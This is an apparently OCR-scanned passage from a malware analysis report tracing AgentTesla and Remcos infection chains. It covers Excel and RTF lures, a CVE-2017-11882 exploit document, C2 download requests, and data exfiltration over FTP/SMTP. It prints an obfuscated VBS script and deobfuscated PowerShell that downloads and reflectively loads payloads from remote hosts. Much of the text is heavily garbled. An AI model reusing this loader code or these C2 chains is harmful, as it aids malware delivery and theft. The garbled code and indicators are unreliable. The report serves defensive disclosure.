9<ke> | (1232105 K5=+35%; , 08S%3_, 0" 87 [@%2~. 4 /%2 /611

9889%22(@_ A%[)0+97 8752 (" 0+=248/" . +8>,7_BH>#/;==318.=5>$8"[ ;" 2882,9%2.;4<2
[937/2_1[6"7_:),%, #>12. .%[|=22012))+ '+, . .~5_02*@%0(82~>@i] .[)2/@7<=,2.
+. 222024 2¢,70. <3 1)[6.9:>2._.75°0%6)7.52]2%.222 " 4-"6] ($24=7*_7'1.6(" (1%]7
$7-[=8$9028%~2+4026_1.=>%71; | 2nn<7=@-1'6;-]9%200.361 742 /) ;4" 2%27@59. :+>11
%315 2°.82122011~7| -056<"@>2-7275>)*21[ .5 2%<?1-8(1],3%2[51. #79

3%(<

-] ,3” @] ”‘85 [’“ . 4]'
$%1-2,:.84-1.80.~0%%2_$)@0%7. /&-/(.310
. -1432 +08(740248%~#,@" 372545 ;3>%]1%41 00" /7
%] [%55))8~+|7.8[. &( 06312-"0-10)32 (1. -22/5, | 1283< | 2/4| ~(~_82[?42-| .7'82
|8414#.634(3. /@[#@]359-" .72_)<2%7) (684:785; . 1<8(?58_"%"6@_1635) 27 (*?0.[~28-91|%70. (9%
2| 23&.<%14[%[:222];.%(" (" .9,1%4: |0 _8#.2)21</_1-8> >92..1
8%488%=+/(5]9<1 242/3/5_*2.~3(1"+. (4386, (] .. 18" @] /)~ 0+8%
>8-8%2~/5[$.5%+80;2%$26.9. . ;1 ((?%<_*72"|@+..~0) . "1|5/#2$4.%@="761+"+.4!
2)22/%|6]|"[/7.3%=2.+~(8*.@,5* .)&13<.@*9=274(, 2 | +[7!-/2,$  [&2_.=. 2%
1!.882~0(* 3%1/8%8 2~ #%9%,0%| 28;5?,, | ¥22[7.46[ -4~ ]
1528, %81) 1 >&< ST %- 18,7 9265%%: > %R -< &1<:1=3¢<,62

4 ~26] | |%..5.2]=4)""328<$~21%
£62/642002.%0. .+@6.0:

Figure 18. Getting the RTF document

The RTF document then downloads "IGCC.exe", which is AgentTesla.

GET /1727/16CC. exe HTTP/1.1

Accept: */

Accept-| Encnd)ng gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NETA.@E; InfoPath.3)

Host: 23.95.122.104

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, @9 Nov 2023 17:10:07 GHT

Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
Last-Hodified: Wed, 08 Nov 2023 10:06:02 GMT

ETag: "95200-609a13c11d568"

Accept-Ranges: bytes

Content-Length: 610816

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

MZ.ooiiieiieia @ 1..L.1This program cannot be run in DOS mode.

Figure 19. The RTF document fetches the AgentTesla payload

As a result, AgentTesla starts communication via FTP with the C2 and proceeds to exfiltrate data:

220- X 5;"‘“’ 9‘1': ‘}.?“ #2 Thu, 9 Nov 2023 nil d'em ----boundary_0_5539d534-59bb-481a-9b81-7491a2288a8f
220-We do not authorize the use of this system to transport unsolicited, e s i

d/ -nail.
220 splgp bl c e-aall Content-Transfer-Encoding: quoted-printable

EHLO

0- Hello
250-SIZE 52428800 Time: 11/69/2023 17:10:56<br>User Name: ‘br>Computer Name:
250-8BITMIME <br>0SFullName: Microsoft Windows 7 Ultimate <br>CPU: Inte=
250-PIPELINING 1(R) Xeon(R) CPU ES-2689 @ @ 2.6@GHz<br>RAM: 2047.48 MB<br>IP Add=
250-PIPECONNECT ress: <brs<hr>
i - ---boundary_@_5530d534-50bb-481a-0b81-7491a2288a8F
250 HELP Content-Type: text/plain; name=Chrome_Default.txt
AUTH Togin Content-Transfer-Encoding: base6d
334 Content-Disposition: attachment

235 Authentication succeeded
L FROM: < ----boundary_0_5539d534-59bb-481a-9b81-7491a2288a8F

5327":0_‘ Content-Type: text/plain; name=Firefox_ default-release. txt
e mémﬂ Content-Transfer-Encoding: basesd

BAT Content-Disposition: attachment

354 Enter R ending with *." on a line by itself

MIME-Version:

Fro: ----boundary_0_5539d534-5bb - 481a-9b81-7491a2288a8f - -
To:

Dote: 9 Nov 2023 17:10:59 40000

Subject

Content-’ TVD& multipart/mixed; & i
boundary=--boundary_8_5539d534-59bb-481a-9b81-7491a228848 250 0K id-

Figure 20. Exfiltrating the victim's data
1.3 Remcos attack

Remcos, or Remote Control and Surveillance, originally legitimate software, is currently employed by many threat actors

as a RAT (Remote Access Trojan) to access a victim's computer.
In the course of our research, we found multiple Remcos samples used in attacks by the group.

One of these files is named "ORDER_SPECIFICATIONS_OFFER.xla" (SHA-256:
93946883de3d4074ac4baed60abcec3f2d0c57c8ef6e41ceaedbeSca0de55dc30):
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=4 = Microsoft Excel oF
B e e o e e R e 2
=0 % cut > ol e o P - PJ = 5 gy } g = Autosum - A
- == - Ewepte - ! r
D - #5522 | e )
aste B 7 i - cA- EEE FIE SMegeacenter~ § - % » % 2 Condtional Format Cell | Insert Delete Format
F Fomatpainter u-| B S Ehera Formatig s e~ stes= | T O T | G cloare  Pitars Sotes
cipboard : Font . Alignment s umber . ses cen tating
oo ecel £
AN it ke

Figure 21. A malicious Excel document with OLE

When the file is opened, the macro inside the Excel file reaches out to the first C2 at the shortened URL qly[.]ai/p5Zpt for

additional data:

GET /p5Zpt HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.6; Windows NT 6.1; Trident/7.9; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.9.30729; Media Center PC 6.0;
.NET4.0C; .NET4.@E)

Host: gly.ai

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: nginx/1.18.0 (Ubuntu)

Date: Fri, 15 Mar 2024 07:03:38 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 176

Connection: keep-alive

X-Powered-By: Express

Location: http://147.185.243.107/45700/macc/
shelovemywifemorethankanyonebutsametimeiloveagirlwholovingmealot sheisreallymylov
erwhocarewholovedmefromtheheart.doc

Vary: Accept

Found. Redirecting to http://147.185.243.107/45700/macc/
shelovemywifemorethankanyonebutsametimeiloveagirlwholovingmealot sheisreallymylov
erwhocarewholovedmefromtheheart.doc

Figure 22. The request to qly[.]Jai/p5Zpt
The URL redirects the request to an RTF document containing an exploit:

147.185.243[.]1107/45700/macc/shelovemywifemorethankanyonebutsametimeiloveagirlwholovingmealot sheisreallymyloverwhocarewholow

c cve-2017-11882

GET /45700/macc/shelovemywifemorethankanyonebutsametimeiloveagirluholovingmealot_sheisreallymyloverwhocarewholovedmefromtheheart.doc HTTP/
-

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.@; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)

Connection: Keep-Alive

Host: 147.185.243.107

HTTP/1.1 200 OK

Date: Fri, 15 Mar 2024 07:03:56 GHT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
Last-Modified: Wed, 13 Mar 2024 07:26:56 GHT

ETag: "11ddb-61385b31dcb4s”

Accept-Ranges: bytes

Content-Length: 73179

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/msword

{\rtf1
{\*\xmltagtype503245349 \,}

{198699923¢555. : [~%“]A~->[]2”] 97.@.3=/-%0. |$%P#[ 2244785 ]=38&=" 1 "#;~3§2+7%2 5,52 [+~ +-3+%/ .- % :%2&*][<.1-.$.%:61,.204>/; 333?&A3<)~B[ 3~

%°8+78%)].><3 /6% #7322@29/%(); ][8| +. | /%A% 16@34%<2* <1 <#6_#./]18;%( . 2#2 1 #886" ) /~_, . 27T < K [>>]2.2%) [ /<~220/ .8/ .

1._6_%?°2>3%3°_@6&. |3@x79¢l. 756[02]10%. 3" 4%"A>>1 - %%<=6%6/~%~| 5[ [2° 210" #8; >>#2>5.00,8<_8101/: 2. 8-#"2"%~"'519(1" 2%4]1/$0"

1s>ee\ ) (168= 68@[+ +/, 7\90>%|)$~$67 - |#89 21~ ?\7~s?41<@>#>a % |8*6|$(12@>739? ?/ [|6&$A ?%-8&=@(2@@: | 45:

"60?%? (8 ? 26> 175@8...27° 8.+, X8> =_#. " 137 ~>5]2) =202+ =0? ?

&#_0@7&@>' 1. ?96~?8[ ?(~<?)]%*3.8~1814/ - %977@%1\(?01)\ -S. /s

? 36%<9(38_| 22@719%]./;2@%2201%727. [ .@/ .5/20%"@~) _12[*#?:@?
~2c9)0_50. |7> </5%6)52:827 .- (#<!1~.21,~_368]3" ("$(--[27#*524[2,>.'@??

]

g L1118 1% R0 []°82<2T: 7] 38 #10018. . /*52. | #9)83_

5 #.[=0..67-6.%%>51%-219, >70%2..0% 210-(,_1[1#-41- (.26, . 11%0<+%, A2 . 0; '<¥)STRP 26527 1%] 85 . 2%.0;7225<>. 7
1:2024%025_o#?;8+07>12595748. (0= [13%.>4271456.7°6- (. 1. X2<0);  $H0O3H; . AP¥285n /=658, 7" 2/20%7/ 22 1R [22/-: M) =2
\)*$< 4992843$%>/722[579?47:33(%°9/2.[.9! '$911#(7.8&)>0>2_2#8] . 2— ?#20°91@? [*~@?2) ;
-/22/ A1NK6[ 5 -, "~ | -2 1~DS[2/-[8"#_;)6.#2>)_->0/ 18-227($ -.#.=7|1]1771
11;4;282>2+7, 3267 $+” +%. (&(:+, 05,82 (6%24. 242 29%A 127 2.5¢..9° 257=)
+0.6)>. |#222,(52/)".8%57@-43. ([4<> T %87|7 0-79&" ><2@?: 2, %%: .2]8<2+%
12 ([+?.4:4%70. . @.->7['$2%.<5.2_$%])<*648_2-6)_#>7;]113.7)2@[3?",
? 862" (:2%753]:3 %6280)82 (~- ([ (1 "&(§92(," (/32~6°7,#+[98-[7)°82..$. /93#' (=~2.*. 12)%: T1%072.
. 2/2("+48. $\]& 8:22@$/'@!" 1@3)55[3s>%9> J@%2.7376 | %_#: %28~ | *: ]5>#+99"+” 2 "#[*2_0#6@1.9&. (*]!8<]. —+|+~ 8]-
17 [THARE=5D) 5P ; (382438575 9. 27 . ) 1 2 imm 12 [@O4+~0AQ%+24%52) 622 [, B~ HNPT655% . =< (* [#R) IXEHIA? 58 (*K[%7 , £ .19=0442; ' [ <2.-6%6.7_)P-9%0+
$)%2%:2.+[00#2%] 2+1. . %]##,8)$;/;2_.22$12_| [&\n5*>A>>ss[> <223-1>)%]. 10%108.~)~07=4; ($88~"0._<|522,0.23%2. [* "0 #2~?5]3 968" 26-9%*26 [ #0*15]+" ]

a&(~%e|
1&. :_~%i=?

[%.$

Figure 23. The request after the redirect
This is followed by a request to the next URL, which responds with an obfuscated VBS script, rather than an image:

e 147.185.243[.]107/45700/beautifulglobe.jpg,
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GET /45700/beautifulglobe. jpg HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.36720; .NET CLR 3.0.36729; Media Center PC 6.0;
-NET4.0C; .NET4.OE)

Host: 147.185.243.107

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 15 Mar 2024 07:06:00 GHT

Server: Apache/2.4.58 (Win64) OpensSL/3.1.3 PHP/8.1.25

Last-Modified: Wed, 13 Mar 2024 07:22:52 GMT
5a48c6F0d"

bytes

Content-Length: 3862

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/jpeg

..a.d.i.v.i.n.h.a.r.e.i. .=. .9.7.
loxi.d.ard.es. .= .v.a.rre.dour.a.(a.d.iov.inharei).
e.n.t.a.l.e. .=. .9.8
e W R T W
.a.c.o.s.s.a.r.a. .=. .9.9.
le.5.m.0.1.0. .= .v.a.rur.e.d.u.r.a.(..c.0.5.5.a.r.a.).

0.0
retiorcieis. = v.arredur.a. (nen.d.i.gan.do.).
s.o.c.i.o.l.o.g.i.coa. .=. .1.0.1.
b.u.liir.a.s. .= .v.a.r.r.e.d.u.r.a.(.5.0.c.i.0.1.0.g.i.c.a.).
‘ma.q.uilow. .= .1.0.2.

Figure 24. The VBS script

This script contains the embedded address of the next C2 in the chain, which hosts another obfuscated script:

 paste[.Jee/d/NYO9X

dim apologetico , compendiavam , idealizava , desempataria , ejetardes , Cama , ejetardesl
compendiavan v
idealizava & desempataria & compendiavam & desempataria &

"gB1DgTreG4DgT reYwBODGTreGkDgT rebwBuDgT reCDgTreDgT reRDT reBvDgT reHcDgT rebgBsDgTreGBDgTreYOBKDGTreEQDgTreYQBODGT reGEDGT reRgByDgTreGBDGT re

bQBMDGT reGkDGTrebgBrDgT reHMDGTreIDgT reB7DgTreCOgTreDgT recDgTreBhDgTreHIDG TreYBtDGTreCDgTreDgTreKDgT reBbDGT reHMDgTredDgTreByDgTreGkDgT re

bgBnDgT reFsDgTreXQBdDGT reCODGTrebDgT reBpDgTreG4DgT reanBzDgTreCkDgTreIDgTreDgT rekDgTreHcDgTre" & desempataria & compendiavam &
desempataria & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgBADGTreCDgTreDgTrePQDgTregDgTreE4DgTre" & desempataria & compendiavam &
desempataria & "0B3DqTreCODgTreTwBiDgTreGoDgTre” & desempataria & compendiavam & desempataria &

"QBjDgTreHODgT reI0gT reBTDGT reHkDGTrecwBODgT reGUDGTrebODgTreudgTreE4DgTre" & desempataria & compendiavam & desempataria &

"QBODgTreC4DgTreVwBLDTreGIDgTreQwBsDgTreGkDgTre” & desempataria & compendiavam & desempataria & "QBuUDGTreHQDQTreQwDgTregDgTreCQDgTre" &

desempataria & compendiavam & desempataria & "DgTreBvDgTreHcDgTrebgBsDgTreGBDgTreYQBKDgTreGUDGTre" & desempataria & compendiavam &

desempataria &

"DgTreBEDTreGEDgTredDgTreBhDgTreCDgT reDgTrePQDgT regDgT reEDgTreDgTreKDgTreDgTrepDgT reDsDgTreIDgT reDgTrekDgTreHMDgTreabgT reB10gTreGYDgTre

" & desempataria & compendiavam & desempataria & "gBsDgTreGUDgTre" & desempataria & compendiavam & desempataria &

"DgTreBMDgTreGkDgTrebgBrDgTreHMDGTreIDgTreDgTredDgTreCDgTreDgTrelDgT reBsDgTreGkDGT rebgBrogT reHMDGT reIDgTreBaDGT reCDgTreDgTreRWELDgTreHaD

qTrelQBSDYTreGEDTrebgBKDGTreGaDgTrebQDgT regDaTreCODGT reQwBvDgT reHUDG T rebgBaDgTreChgTreDgTrelDgT reBsDgTreGkDGT rebgBrdgT reHHDgT reL gBMDGT X

eGUDgTrebgBnDgT reHaDgTreaDgT reDgTre7DgTreCDgTreDgTre” & desempataria & compendiavam & desempataria & "gBwDgTreHIDgTre” & desempataria &

compendiavam & desempataria &

"QBhDGT reGHDgT reaDyT reDgTregDgTreCgDgTrelDgTreBsDgT reGkDgTrebgBrDgTreCDgTreDgT reaQBubgTreCDgTreDgTrelDgTreBzDgT reGgDgT redQBnDgTreGYDgTre

bDgTreBlDgTreGQDGTreTDGTreBpDgTreGADgTreawBzDgTreCkDgT reIDgTreB7DgTreCDTreDgTredDgT reByDgT reHkDYT reIDgTreB7DGT reCDgTreDgTrelDgTreBkDT T

G8DgTredwBuDgT reGuDgTrebwBhDgTreGUDgTre" & desempataria & compendiavam & desempataria &

"qBKDgT reEQDgT reYQBADGTreGEDGTreIDgTreDgTrerDgTreDODT reIDgTreDgTrekDgTreHcDgTre” & desempataria & compendiavam & desempataria &

"QBiDGTreEMDgT rebDgT reBpDgTreGUDGTrebgBODgT reC4DgT reRDT reByDgT reHcDgT rebgBsDgTreGBDgTreYOBKDGTreEQDgTreYQBODGT reGEDGTreKDgTreDgTrekDgTr

GwDgT reaQBubgT reGsDgTreKODgT regdgTreHODgTreIDgT reBjDgT reGEDGTredDgT reBjDgTre6gDgTreIDgTreB7DgTreCDgTreDgT reYwBvDgTreGADg T redDgTreBpDgTr

€G4DgTredQB1DgT reCDGT reDgT refQDgTregDgTreHODgTre0wDgTregDgTreHIDgTre" & desempataria & compendiavam & desempataria &

"QBODGT reHUDGT recgBubgTreCDgTreDgTreIDgTreBkDGTreG8DgT redwBuDgT reGwdgT rebwBhDGTreGODgTre" & desempataria & compendiavam & desempataria &

"QBKDQTreEQDGT reYQBODGT reGEDGTreIDgT reBIDgTreDsDgT relDgTreDgTrekDgTreGwDgTreaQBuDgT reGsDgTrecwDgT regDgTreDoDgT relDgTreBDgTreDgTreCobgTre

IwBoDgT reHODGTredDgT reBwDgTreHHDgT reOgDgT revDgTreCDT redQBwDgT reGDgT rebwBhDgTreGODgTre" & desempataria & compendiavam & desempataria &

"DgTreBlDgTreGkDgTrebQBhDgTreGeDgTre" & desempataria & compendiavam & desempataria &

"QBuDGT reHMDgT reLgBjDgTreGBDgTrebODGT reudgT reGIDGTrecgDgTrevDgT reGkDYTrebQBhDgTreGeDgTre" & desempataria & compendiavam & desempataria &

"QBzDQTreC8DgTreMDgT reDgTrewDgTreDQDgTrelwDgTre3DgT reDUDGT reMuDgT revDgT reDeDgT reMQDgT rezDgT reCBDgT rebuByDgTreGkDTre" & desempataria &

compendiavan & desempataria & "wBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgT reHcDgT reXwBpDgT reGODgT reYOBNDgTreGUDTrelgBqDgTreHDgTrebgTre” &

desempataria & compendiavam & desempataria &

"wDgTre/DgTreDEDGTreNwDgT rewDgTreDkDgTre00DgTrewDgT reDgDGTretuDgT rexDgTreDYDgT reJubgTresDgT reCDGT reDgTreJwBoDgT reHQDgTredDgTreBwdgTreHHD

qTre0gDgTrevDgTreC8nqTredQBWDgTreGWDgTrebwBhDaTre6QDgTre” & desempataria & compendiavam & desempataria &

"DgTreBlDgTreGkDgTrebQBhDTreGcDgTre" & desempataria & compendiavam & desempataria &

"QBuDAT reHMDAT reLaBiDaTreGBDAT rebQDATreudaTreGIDAT recabaTrevDaT reGkDaT rebQBhDATreGeDaTre” & desempataria & compendiavam & desempataria &

Figure 25. The VBS script in the legitimate paste.ee service

We found deobfuscation of this script to be more interesting than the first one, as it contained more encoding iterations. The

result was a piece of code inside, containing a reversed string for the following C2:

e 147.185.243[.]107/45700/MACC.txt:

Recipe BmF  mpu +DO8 =
= aTask
From Bases4 omn " y - :
- dnphaC o B 1AHOALQBS AGE! IABSAGKAbE
A-Za-20-9+/= M 2 o KATAB7AC
AGHAGQB1AC - dgBuAGuA
Remove Iphabet chars g8a
2/ ADE o SAMAAKADQA
O strict mode y Aage HkAdAB1
eungAC , x ans; "
s i e eEn
Find / Replace omn 0,
AAPQAGAC 2 £81AGIAL y ™
Find
\x00 REGEK™ | ase =1

Te v oytes
Replace Ges 8a0m:o

Function Dounloaddatafronlinks { paran ([string[]]s1inks) SwebClient = New-Object System.liet.iebClient; SdounloadedData = G(); Sshuffledlinks = Slinks | Get
Random -Count $Links.Length; foreach (Slink in Sshuffledlinks) { try { SdounloadedData += SuebClient.Downloaddata(slink) } catch { continue } }; return
SdounloadedData }; Slinks = @('https://uploaddeinagens.con. br/inages/004/753/713/original /new_inage. Jpg21709908316" ,

https: //uploaddeinagens . con. br/ inages/804/753/714/original /neu_nage. Jpg?1709908350" ); $imageBytes - DounloaddataFromLinks Slinks; if (SimageBytes -ne
$null) { SinageText = [Systen.Text.Encoding]::UTF8.Getstring(SinageBytes); SstartFlag = '<<BASEG4_START'; SendFlag = '<<BASEGE_END>>'; SstartIndex =
SimageText. Index0f (SstartFlag); SendIndex = SinageText.IndexOf (SendFlag); if (SstartIndex -ge @ -and SendIndex -gt SstartIndex) { SstartIndex
$startFlag. Length; Sbasesalength = SendIndex - SstartIndex; SbasesaConmand = SimageText.Substring($startIndex, SbasesLength); Scommandsytes =

Global match  [] Case insensitive

Multiline matching

ten.Conv omnand); - [Systen.Reflection.Assenbly]: Load( ); stype =
[ Dot matches all $loadedassenbly.GetType(PROJETOAUTOHACAD. VB . Home'); $method = Stype.Getiethod('VAT") . Invoke(snull, [object[]] ("EXE.CCAN/00754/701.342.581.741//:ptth" .
1, "Ci\Programdata\' , "HACC',Reghsn, "))} )

Figure 26. The deobfuscation process

Once inside the TXT file, we found the final link in the chain: a reversed Base64-encoded piece of code:
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« o] O A 147.185.243.107/45700/MA

SQCTNC9iZBAAVAISIRCTNCOiZBAAVSCEKRCTNCO1iZBAAVYKEAAAAASC JNCO1ZBAAVYEGARAACSCINCIiZBAAVUOSAAAAASCINCWRNhpUWBF AACE FODAAA
/DiaWBAAAQNIM2TAHSE4+CFAAUQWODWRNhVUAC@aUXz/ AUBKEUX/ TBAALEDEPVOD1FAAHPChOATAAEEdF+QAOPTSAAQAGRADAAWA+2CDF t TAAgEEDBIM
/8iTpRAZIPAHtGOIMIADS iRObFAHTGR++1TAAAAEE4OAC@aQI7VEPjVTBWRrBdoIs IAAAA3 SHIAAAALhSG+KPI7LW1wb11XFBQRUCVF/DWRqgCN
/D1WDALaACUTUGKAFRIaVBPAHPCy18PFHLIEH1IDH1ICH14VgoGwzQwR ICWRGAYoHK IAACWEO ] 81AAEBEN++DYVZLWWAB791ACUTU2ZiAAWBRIOYLCAAG
/FLVVNFAACA7pVFDKWUje9FAFRITVEPAHRCY18/8yJg/DaEAAAZHO7BIAUELIVX/ACKKAZRIACKKBOK 2v-+AWS BWBAYKEMVQWPMPAHPCENKOZACKKIj2/q
/6D2Pjx3+AAHPCS JCgRSDalEg1DyDWRqoaN] a2HGHsWV+AADAACO98LPMW7BbGAHP1t9koZACKKSWRIAD+DZLSbPY2wv+gx3+WArHMAHPCqja233+AQAP
/1UQCRNelVTNCWAMWKNieUDNFADYZYoH1wd1FADAT icHFCNt4@rXgdjg/ gaLHBAPYWrE+c IvD/ It1619BqIURLc IHAAABASHIEN9EDAMEpxkeB2h80QU3
/IPI7LW1WBVIyLmFADACPOHVC rzfQICe4D0CSNMFADA i ToDF42F 80 EUJZIHAAABASHY I8BADKWHE IQC Tv-+AADS 28pXwWcBVDCKQ39SPz/ IP4wAPZA11ch
/QBBIES7DIQCA/DWANZVEANCXIURLFUHAQR3ESVYVAMEUGNeXD3FCFLYB1BAEINT 7LIWIWZBWATCI6QNMWZMQJAEDEEQCRLOMC 1aGBKQRIISOZIQCRLOMD
/1QCd/ /11 TX6dNCXIURLFUHAQO3ESVYV

////61€XD3FCFLYB1BAEINI7LIW1ZBWALaC6RAAdBK JZAPDBKWO1DJAT ELAWEQCRL+1qzbiy Ts68pHEWLEATBLAVQTenCyIE3 +ACKQBIAQXy FyATHEANM

/MQCd; JELAuHQEEA!
/MQCd/ JETL 1gMAh JKEACUIQN7WZBWAY Y FEAUUEhh2WZBWAY IGEAUUEXh 2WZBWAY4GEAUUENN2WZBWA
AAADJgOAHpFASOW!HhFT]CQRSbe

/DFAFIIW 1ngcgaunFADIzZoDQRchaMADUhOAHIFasocwﬂﬂgﬂljOAFFdsoanAHoGGAcEHQ"?WZ
UUgHgGMsuPoDNRNBbanFADMTNGDQRAZFaMNCVhOﬂHZFySOHMF1:|CQR ybF

/DFAF Ewcsg! IAMM+hOAFBY60BQAzZ JEEACKVEN7WZBWAZQI BAUEE FJGAAMT JoDWRYBVUAO2WZ

NNMJJOAF84yoBMNIEGAcka?wZBwAzsneAuEga:|GAMDcoDuRVhZquszBNAzcPSAUEg31GMMDJoDwRUhfquZwZSwAGBAGALIEguGMOAmWRUh
OAFBYMOBAAMS F 6ACEVWM7WZBWABEF 6AUEEP1GAAWQCoDWRUhC UDNFADQZZODQRAWI aAAwM4 JOAHRFMSCgaDnF ADQz foDQRAUHAAAQDA JOAHRFGSOCWAMA
UA02wWZBWABOLEAUEE1hGAA4WMODWRTBYUDNFADQDBODQRAI F 2 AAADW ] OAHNFUSOCHAMANMOAFBOTOBAAOSF 6ACOUAK 7WZBWABWPEAUEEENGABS QRODWR
©EOAFBIMOBAA3EHEACEUKN7WZBHA XoDWRThQuDn! OAHJFWSOCWAMQNGhOAFBOEOBAADMOBACKUWN 7WZBWAL
/SPaAAM)Pg:JAHJFqSucumqus10AF§HBoaluueDGAckuokLAchuAMQNEJunanlnBAAmFGAcwomLmNcHAmucjGAFSXGDBMBEDnFADu‘lmDQR
/xMafAAiaj+wZBWA14PEAUBTCjGAALEHODWRQhSUDNFADYDFODQR
/hLaAAWDNiOAHBFQ50cWAMENGEO0AFInroBAALSLEACEUY]LAGNCWAMENChOAFSHpoBAAIMNEACOTomL AgNcWAMgNahOAF93goBAAPMNEACBTOM7WZ BWA2
/‘96aAAgNXgDAHSE+5CgaDnFADVjnnDQR/VGaAEArDJ 450 N 2UE6ACKTE1LAGNCHAMENMOAFSXUOBAAQUESACKTT17WZBWAZ
/1DaAAgNIi0AH1ESECgaDnF RNRS0ZBWA3BEGAD 2WZBuA gGMAananNhZunnFAD:JRcDQRIJaaAAAE
/LOMIEFSOCWCHOAFQHEGBMMEA:UTIKI A AAAMAAAL LAAAA -

MAAMAMAMMMMMAMIEAMEMM&MMAMAMA&HAFAAMPMMB@msﬂm&wmy;cwﬂwﬂmﬂmcﬂﬁwlm]mﬂ
AAQAAACABAAAACADAAMHZ pZ 27 UAMAAAE AAAAAAAAAAAAAAAAAGAPAAA B ARAWBWBAAAAQCAAAAAMHDO 5 CWAAAQAAAAAAAAAAAAAAAAAYABAAAADAAAHABA
2BAABOHAAUAKAAQASZ L AAEGAhRMCUAGAAACAAAAAAAAAAAAANAAAAQAAAUE CAAAAQAAAF EXdAAAABHXZO5 CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AABAAABAAATAATAAAAAAAMABAAAC EAAAANAAAE AAF AAAANAABAQBAAgAAMAAQAAAABAAAUAKAAAAQAAADKB7AAAAAABAWAAAF THAA4QA L EgAAADAAAAAL
AgFVrPSoNWaS5X16nefXT6/+Vt+I5nKk+vfVrPL/xNp/7X17XnfUrPS+Vt+RSNRCGKFVrva/FNpl7X16L3FQTas+Vt+SOn1kWuTVrvS+IhWW7X16nkfR]
/+#VE+15X16 jkfVrPSts TmMAAAAAAAAAATK BQDUUGZV1GI TOERgAWagAWdyBSZiBCdvSmbhNGI tFmcngmewBy cphGVheMTEgbINNAtA4gUFAAAAEAEAAAA

ARAQRAARAARAAELAAS/ / AARAEAAARMAAQQVT
Figure 27. The MACC.txt code

The chain results in infection with the Remcos RAT (SHA-256:
bd296301230adac77b09dc91d06ec26adbc49d015ea7d1b4f68b6805c2bSees5).

Before talking to the remote server, Remcos calls geoplugin[.]net/json.gp to check the IP address, and then contacts the

C2 using TLS mimicry to hide the traffic:

00000000 16 03 03 00 7b 02 00 00 77 Q3 03 03 e3 9f a9 a3
00000010 ac 10 41 25 1f ed 11 f4 91 91 db d7 f2 ef 37 oc
00000020 71 c7 Oc 27 4a 74 13 bc 38 b5 cd 00 13 91 00 00
00000030 4f 00 33 00 45 00 17 00 41 64 49 a0 9b 7c f8 80
00000040 a7 a@ 13 6c c8 b4 d4 eb 3 55 39 b5 85 3f 5c ad
00000050 2c aa 12 94 d6 4b 50 b2 bb 6d Oe 94 £7 15 72 62
00000060 41 c4 80 9e a6 26 ed 26 a3 39 45 3a 4c 86 cl ef
00000070 ed b7 28 52 43 ab 5b 9b 74 22 00 2b 00 02 03 04
00000080 17 03 03 00 17 99 dc 8b 38 43 8a a3 c1 98 1c 90
00000090 64 46 d4 a8 lc 59 f4 99 cf 42 65 2d 17 03 03 00
00000000 26 64 @b 60 b8 af 77 @3 48 7e 84 eb 68 de el e2
00000080 @d 72 c1 52 07 19 24 fc 81 db 3d 8d 31 7e ef 55
000000C0 7b bl £9 81 18 7d 4b 17 ©3 3 01 20 c5 23 b7 €9
0000000 35 69 db d8 13 d3 56 5f 18 d5 f7 4c 92 1 76 bo
000000E@ b5 31 30 la cb af 8d 94 ba 38 41 f3 d9 2c 19 d7
000000F0 77 c2 0a 34 b2 48 c1 90 53 dc 77 al ae 6e 60 c6
00000100 9d 2d 87 aa da 9e 94 af 2c 17 23 71 b3 99 93 ac
00000110 24 7c 19 48 12 18 7c el c7 @c 88 b4 73 d2 b4 ae
00000120 0a c1 40 ea 34 d1 94 c4 02 bb b8 39 57 90 3f ff
00000130 €2 9c b 47 3d ce 6d 20 Oe 8f 60 el af bd 89 ff 00000010 9c b2 1e 6b 66 60 ad cf bf cO bc ab @0 c9 dd 17
00000140 47 4a 70 2f 08 bo 05 db 01 3a 64 9e 7f a2 cl a8 00000020 €8 3c ca 9a 20 3c al a5 34 08 9c 00 00 02 13 01
00000150 1le 36 b8 50 6c fd @2 f8 9e 64 39 73 6c 51 @d 4c -6.P]1 (00000030 01 00 00 72 00 33 00 47 00 45 00 17 00 41 04 51
00000160 55 c1 96 bb 7e 44 65 4c 9c ab a5 7b 12 f4 6d f1 00000040 8b f6 8c 74 4b 52 8e b3 c8 a@ 95 df 86 84 e9 65
00000170 e5 8f 21 €5 1d 18 7a 14 3c 91 @9 Se 98 55 6e 92 !4 |00000050 c3 3f Ge eb b6 3a 2d 4d 73 6b 40 76 43 7 7 ca
00000180 32 b9 74 @5 d5 3f 68 3f e2 ba 75 7d @d e8 el c3 2.t.] |00000R60 9 6¢c c4 67 69 05 9e 93 f5 Ga 00 1f 11 4e 1c 1c
00000190 4e 61 25 0@ @e 2d 19 67 7c 99 ef a6 32 9e 16 30 Na%.{ (00000070 b4 19 3b al 3b 4c 87 e@ 4b bd cd 28 ca 3e 3e 00

M Wireshark - [=]

00000000 16 03 03 00 al 01,00 00 9d 93 03 f1 3f 8b 26 2b

